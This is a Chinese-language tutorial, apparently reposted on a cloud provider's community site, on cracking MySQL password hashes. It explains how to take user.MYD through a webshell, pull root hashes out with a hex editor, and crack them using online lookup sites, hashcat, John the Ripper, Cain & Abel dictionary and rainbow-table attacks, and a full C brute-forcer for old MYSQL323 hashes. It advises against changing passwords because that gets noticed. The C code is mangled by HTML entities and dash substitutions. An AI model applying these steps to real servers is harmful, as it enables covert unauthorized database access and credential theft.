MySQL資料庫密碼破解

來源:互聯網
上載者:User

標籤:username   blank   download   bae   資料庫連接   格式   介紹   效果   個數   

研究MySQL資料庫的加解密方式,在網路攻防過程中具有重要的意義;試想一旦擷取了網站一定的許可權後,如果能夠擷取MySQL中儲存使用者資料,通過解密後,即可通過正常途徑來訪問資料庫;一方面可以直接操作資料庫中的資料,另一方面可以用來提升許可權。本文對目前常見的MySQL密碼破解方式進行了研究和討論。

本文simeon

1.MySQL資料庫密碼破解

MySQL資料庫使用者密碼跟其它資料庫使用者密碼一樣,在應用系統代碼中都是以明文出現的,在擷取檔案讀取許可權後即可直接從資料庫連接檔案中讀取,例如asp代碼中的conn.asp資料庫連接檔案,在該檔案中一般都包含有資料庫類型,物理位置,使用者名稱和密碼等資訊;而在MySQL中即使擷取了某一個使用者的資料庫使用者(root使用者除外)的密碼,也僅僅只能操作某一個使用者的資料庫中的資料。

在實際攻防過程中,在擷取Webshell的情況下,是可以直下載MySQL資料庫中保留使用者的user.MYD檔案,該檔案中儲存的是MySQL資料庫中所有使用者對應的資料庫密碼,只要能夠破解這些密碼那麼就可以正大光明的操作這些資料,雖然網上有很多修改MySQL資料庫使用者密碼的方法,卻不可取,因為修改使用者密碼的事情很容易被人發現!

1.1MYSQL加密方式

MYSQL資料庫的認證密碼有兩種方式,MYSQL 4.1版本之前是MYSQL323加密,MYSQL 4.1和之後的版本都是MYSQLSHA1加密,MYSQL資料庫中內建Old_Password(str)和Password(str)函數,它們均可以在MYSQL資料庫裡進行查詢,前者是MYSQL323加密,後者是MYSQLSHA1方式加密。

(1)以MYSQL323方式加密

SELECTOld_Password('bbs.antian365.com');

查詢結果MYSQL323= 10c886615b135b38

(2)以MYSQLSHA1方式加密

SELECTPassword('bbs.antian365.com');

查詢結果MYSQLSHA1= *A2EBAE36132928537ADA8E6D1F7C5C5886713CC2

    執行結果1所示,MYSQL323加密中產生的是16位字串,而在MYSQLSHA1中生存的是41位字串,其中*是不加入實際的密碼運算中,通過觀察在很多使用者中都攜帶了“*”,在實際破解過程中去掉“*”,也就是說MYSQLSHA1加密的密碼的實際位元是40位。

 

圖1在MYSQL資料庫中查詢同一密碼的不同SHA

 

1.2MYSQL資料庫檔案結構

1.MYSQL資料庫檔案類型

  MYSQL資料庫檔案共有“frm”、“MYD”“和MYI”三種檔案,“.frm”是描述表結構的檔案,“.MYD”是表的資料檔案,“.MYI”是表資料檔案中任何索引的資料樹。一般是單獨存在一個檔案夾中,預設是在路徑“C:\Program Files\MYSQL\MYSQL Server 5.0\data”下。

2.MYSQL資料庫使用者密碼檔案

   在MYSQL資料庫中所有設定預設都儲存在“C:\Program Files\MYSQL\MYSQL Server 5.0\data\MYSQL”中,也就是安裝程式的data目錄下,2所示,有關使用者一共有三個檔案即user.frm、user.MYD和user.MYI,MYSQL資料庫使用者密碼都儲存在user.MYD檔案中,包括root使用者和其他使用者的密碼。

2 MYSQL資料庫使用者密碼檔案

 

1.3擷取MySQL密碼雜湊值

1.擷取MYSQL資料庫使用者密碼加密字串

   使用UltraEdit-32編輯器直接開啟user.MYD檔案,開啟後使用二進位模式進行查看,3所示,可以看到在root使用者後面是一串字串,選中這些字串將其複製到記事本中,這些字串即為使用者加密值,即506D1427F6F61696B4501445C90624897266DAE3。注意:

   (1)root後面的“*”不要複製到字串中。

   (2)在有些情況下需要往後面看看,否則得到的不是完整的MYSQLSHA1密碼,總之其正確的密碼位元是40位。

  (3)如果是在John theRipper password cracker中進行密碼破解,需要帶“*”!

擷取加密的字串

 

1.4網站線上密碼破解

1.ww.cmd5.com破解。將擷取的MySQL值放在cmd5.com網站中進行查詢,MySQL密碼破解一般都是收費的,成功破解一次0.1元。

2.somd5.com破解。Somd5.com是後面出現的一個免費破解網站,每次破解需要手工選擇圖形碼進行破解,速度快,效果好,只是每次只能破解一個,而且破解一次後需要重新輸入驗證碼。

1.5 hashcat破解hashcat支援很多種破解演算法,免費開源軟體,官方網站https://hashcat.net/hashcat/,破解命令:

hashcat64.exe -m 200 myql.hashpass.dict //破解MySQL323類型

hashcat64.exe -m 300 myql.hashpass.dict //破解MySQL4.1/MySQL5類型

1.6 John the Ripper密碼破解John the Ripper:http://www.openwall.com/john/h/john179w2.zip,John theRipper除了能夠破解linux外,還能破解多種格式的密碼,在kali下測試破解MySQL密碼,4所示。

Echo*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B>hashes.txt

John –format =MySQL-sha1 hashes.txt

john –list=formats | grep MySQL //查看支援MySQL密碼破解的演算法

圖4測試MySQL密碼破解

1.7使用Cain破解Mysql密碼

1.將MYSQL使用者密碼字串加入到Cain破解列表

使用Cain & Abel 來破解MYSQL資料庫使用者密碼,Cain & Abel是一個可以破解屏保、PWL密碼、共用密碼、緩衝口令、遠程共用口令、SMB口令、支援VNC口令解碼、Cisco Type-7口令解碼、Base64口令解碼、SQL Server 7.0/2000口令解碼、Remote Desktop口令解碼、Access Database口令解碼、Cisco PIX Firewall口令解碼、Cisco MD5解碼、NTLM Session Security口令解碼、IKE Aggressive Mode Pre-Shared Keys口令解碼、Dialup口令解碼、遠端桌面口令解碼等綜合工具,還可以遠程破解,可以掛字典以及暴力破解,其sniffer功能極其強大,幾乎可以明文捕獲一切帳號口令,包括FTP、HTTP、IMAP、POP3、SMB、TELNET、VNC、TDS、SMTP、MSKERB5-PREAUTH、MSN、RADIUS-KEYS、RADIUS-USERS、ICQ、IKE Aggressive Mode Pre-Shared Keys authentications等。

    Cain & Abel 目前最新版本是4.9.56,軟體:http://www.oxid.it/downloads/ca_setup.exe。下載Cain & Abel 後,直接安裝,然後運行它,在Cain & Abel 主介面中單擊“Cracker”標籤,然後將使用者密碼的加密字串“506D1427F6F61696B4501445C90624897266DAE3”加入到MYSQLHashes破解列表中,5所示,單擊“Add tolist”,6所示,將字串複製到Hash輸入框中。Username可以任意輸入。

5使用Cain破解MYSQL密碼主介面

6添加MYSQL Hashes

2.使用字典進行破解

7所示,選中剛才添加的需要破解的字串,然後選擇“Dictionary Attack(字典破解)”,在彈出的菜單中選擇“MYSQL SHA1 Hashes”方式進行破解,該方式針對的是MYSQL4.1後續版本,對於MYSQL4.1以前版本則選擇“MYSQL v3.23 Hashes”進行破解。

7選擇破解方式

 

選擇DictionaryAttack(字典破解)”後會出現一個視窗,主要用於選擇字典,8所示,在Dictionary下方按右鍵,可以添加一個或者多個字典檔案,字典選擇完畢後可以在“Options(選項)”中進行選擇,然後單擊“Start”按鈕進行破解。

8MYSQL字典破解設定

說明:

在“Options(選項)”中一共有8種方式即:

(1)字串首字母大寫

(2)字串反轉

(3)雙倍字串

(4)字串全部小寫

(5)字串全部大寫

(6)在字串中加入數字

(7)在每個字串中進行大寫輪換

(8)在字串中加入2個數字

破解成功後Cain會給出一些提示資訊,如下所示:

Plaintext of user <none> is databasepassword

Attack stopped!

1 of 1 hashes cracked

表明加密的密碼是“databasepassword”。回到Cain破解主視窗中後破解的密碼值會自動加入到“Password”列中9所示便於查看。

 

9破解密碼成功

 

3.破解探討

(1)字典破解跟字典強度有關

     單擊“開始”-“程式”-“MYSQL”-“MYSQL Server5.0”-“MYSQL Command Line Client”開啟MYSQL Command LineClient,輸入密碼後,輸入以下代碼重新設定一個新密碼:

UseMYSQL

updateuser set password=password("1977-05-05") where user="root";flushprivileges;

本實驗中將原來的密碼修改為“1977-05-05”,其結果10所示。

10修改MYSQL使用者密碼

 

再次使用UltraEdit-32軟體重新開啟“C:\ProgramFiles\MYSQL\MYSQL Server 5.0\data\MYSQL\user.MYD”擷取其新的密碼字串“B046BBAF61FE3BB6F60CA99AF39F5C2702F00D12”,然後重新選擇一個字典,在本例中選擇產生的生日字典,11,圖12所示,僅僅選擇小寫字串進行破解,很快就擷取了破解結果。實際結果表明使用Cain來破解MYSQL密碼,如果是採用字典破解,那麼破解效果跟字典強度有關,只要破解的密碼在字典中,則一定能夠破解。

11再次破解MYSQL密碼

 

12修改MYSQL密碼後再次進行破解MYSQL密碼


(2)使用彩虹表進行破解

在Cain中還提供彩虹表破解MYSQL,在破解方式中選擇“CryptanalysisAttack”-“MYSQL SHA1 Hashes via RainbowTables”即可,13,圖14所示,在實際測試過程中由於網路上提供的sha彩虹表格式是RTI,而Cain中使用的是RT,我將下載的所有彩虹表中檔案尾碼由RTI修改為RT,然後進行破解,提示資訊顯示不成功,應該是彩虹表的格式不一樣,Cain中只承認它自己提供的。

13使用彩虹表破解方式

14使用彩虹表進行破解

 

(3)Hash計算機

在Cain中提供了各種Hashes的計算,在主介面中單擊電腦表徵圖按鈕,即可彈出Hashes計算機,在“Text tohash”中輸入需要轉換的原始值,例如輸入“12345678”,單擊“Calculate”進行計算,15所示,可以看到14種Hashes值。

15計算Hashes

 

(4)產生彩虹表

在Cain的安裝目錄C:\ProgramFiles\Cain\Winrtgen中直接運行Winrtgen16所示,該工具為彩虹表產生器,可以很方便的產生各種類型的彩虹表值。

16 Winrtgen彩虹表產生工具

 

(5)設定彩虹表

在圖17中單擊“Add Table”在“RainbowTable properties”中的Hash中選擇“MYSQLsha1”,然後可以根據實際情況分別設定“Min Len”、“Max Len”、“Index”、“Chain len”、“Chain Count”以及“N oftables”的值,一般情況僅僅需要設定“Min Len”、“Max Len”以及“N oftables”的值。“N of tables”主要用來測試Hashes產生的完整度,輸入不同的值,會在Table properties中顯示百分比,通過嘗試來確定一共需要產生多少個表,然後單擊“Benchmark”進行時間估算,17所示,單擊“OK”完成彩虹表產生設定。

17設定彩虹表

在彩虹表產生器中,18單擊“Start”開始產生彩虹表,在Status中會顯示產生的大小和進度。

18開始產生彩虹表

由於彩虹表產生的時間比較漫長,在網路上也沒有搜尋到以rt結尾的MYSQL Sha1hashes表,因此本次破解主要以字典破解為主,彩虹表的破解將在全部產生後進行,在伺服器使用權限設定不太嚴格的情況下,通過Webshell完全可以將MYSQL下的user.MYD檔案下載到本地,只要破解了root使用者的密碼,然後藉助Webshell可以做很多事情,本文通過介紹了線上網站、John the Ripper、hashcat解、cain來破解MYSQL密碼,對於設計不太複雜的MYSQL密碼,破解還是較為容易的。

 

  (6)對於16位的MySQL密碼(MYSQL323密碼編譯演算法)還有一種快速破解方式,編譯以下程式,直接進行破解,可以破解8位以下數字、字元等密碼。

使用方法:

./ MySQLfast6294b50f67eda209

破解效果19所示。

/* This program is public domain. Share and enjoy.

* $ gcc -O2 -fomit-frame-pointer MySQLfast.c -o MySQLfast

* $ MySQLfast 6294b50f67eda209

* Hash: 6294b50f67eda209

*/

#include <stdio.h>

typedef unsigned long u32;

/* Allowable characters in password; 33-126 is printable ascii */

#define MIN_CHAR 33

#define MAX_CHAR 126

/* Maximum length of password */

#define MAX_LEN 12

#define MASK 0x7fffffffL

int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary)

{

  int i, c;

  u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2;

  u32 newstate1, newstate2, newstate3;

  u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2];

  u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3];

  i = -1;

  sum = 7;

  state1_ary[0] = 1345345333L;

  state2_ary[0] = 0x12345671L;

  while (1) {

    while (i < stop) {

      i++;

      pass_ary[i] = MIN_CHAR;

      step_ary[i] = (state1_ary[i] & 0x3f) + sum;

      xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8);

      sum += MIN_CHAR;

      state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];

      state2_ary[i+1] = state2_ary[i]

        + ((state2_ary[i] << 8) ^ state1_ary[i+1]);

    }

    state1 = state1_ary[i+1];

    state2 = state2_ary[i+1];

    step = (state1 & 0x3f) + sum;

    xor1 = step*MIN_CHAR + (state1 << 8);

    xor2 = (state2 << 8) ^ state1;

    for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) {

      newstate2 = state2 + (xor1 ^ xor2);

      newstate1 = state1 ^ xor1;

      newstate3 = (targ2 – newstate2) ^ (newstate2 << 8);

      div = (newstate1 & 0x3f) + sum + c;

      diff = ((newstate3 ^ newstate1) – (newstate1 << 8)) & MASK;

      if (diff % div != 0) continue;

      d = diff / div;

      if (d < MIN_CHAR || d > MAX_CHAR) continue;

      div = (newstate3 & 0x3f) + sum + c + d;

      diff = ((targ1 ^ newstate3) – (newstate3 << 8)) & MASK;

      if (diff % div != 0) continue;

      e = diff / div;

      if (e < MIN_CHAR || e > MAX_CHAR) continue;

      pass_ary[i+1] = c;

      pass_ary[i+2] = d;

      pass_ary[i+3] = e;

      return 1;

    }

    while (i >= 0 && pass_ary[i] >= MAX_CHAR) {

      sum -= MAX_CHAR;

      i–;

    }

    if (i < 0) break;

    pass_ary[i]++;

    xor_ary[i] += step_ary[i];

    sum++;

    state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];

    state2_ary[i+1] = state2_ary[i]

      + ((state2_ary[i] << 8) ^ state1_ary[i+1]);

  }

  return 0;

}

void crack(char *hash)

{

  int i, len;

  u32 targ1, targ2, targ3;

  int pass[MAX_LEN];

 

  if ( sscanf(hash, &quot;%8lx%lx&quot;, &targ1, &targ2) != 2 ) {

    printf(&quot;Invalid password hash: %s\n&quot;, hash);

    return;

  }

  printf(&quot;Hash: %08lx%08lx\n&quot;, targ1, targ2);

  targ3 = targ2 – targ1;

  targ3 = targ2 – ((targ3 << 8) ^ targ1);

  targ3 = targ2 – ((targ3 << 8) ^ targ1);

  targ3 = targ2 – ((targ3 << 8) ^ targ1);

 

  for (len = 3; len <= MAX_LEN; len++) {

    printf(&quot;Trying length %d\n&quot;, len);

    if ( crack0(len-4, targ1, targ3, pass) ) {

      printf(&quot;Found pass: &quot;);

      for (i = 0; i < len; i++)

        putchar(pass[i]);

      putchar(&#39;\n&#39;);

      break;

    }

  }

  if (len > MAX_LEN)

    printf(&quot;Pass not found\n&quot;);

}

int main(int argc, char *argv[])

{

  int i;

  if (argc <= 1)

    printf(&quot;usage: %s hash\n&quot;, argv[0]);

  for (i = 1; i < argc; i++)

    crack(argv[i]);

  return 0;

}

MySQL資料庫密碼破解

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.